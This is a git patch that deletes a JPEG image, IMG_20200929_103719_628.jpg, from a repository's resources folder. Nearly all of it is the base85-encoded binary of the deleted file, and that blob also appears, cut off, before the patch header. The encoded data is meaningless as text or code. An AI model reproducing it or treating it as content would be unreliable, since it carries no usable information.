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 Date: Sun, 10 Jan 2021 22:31:31 +0530 Subject: [PATCH 459/838] Delete IMG_20200929_103719_628.jpg --- resources/IMG_20200929_103719_628.jpg | Bin 12339 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 resources/IMG_20200929_103719_628.jpg diff --git a/resources/IMG_20200929_103719_628.jpg b/resources/IMG_20200929_103719_628.jpg deleted file mode 100644 index 207ae1516c153342d3630fa97f497afcd0071494..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 12339 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 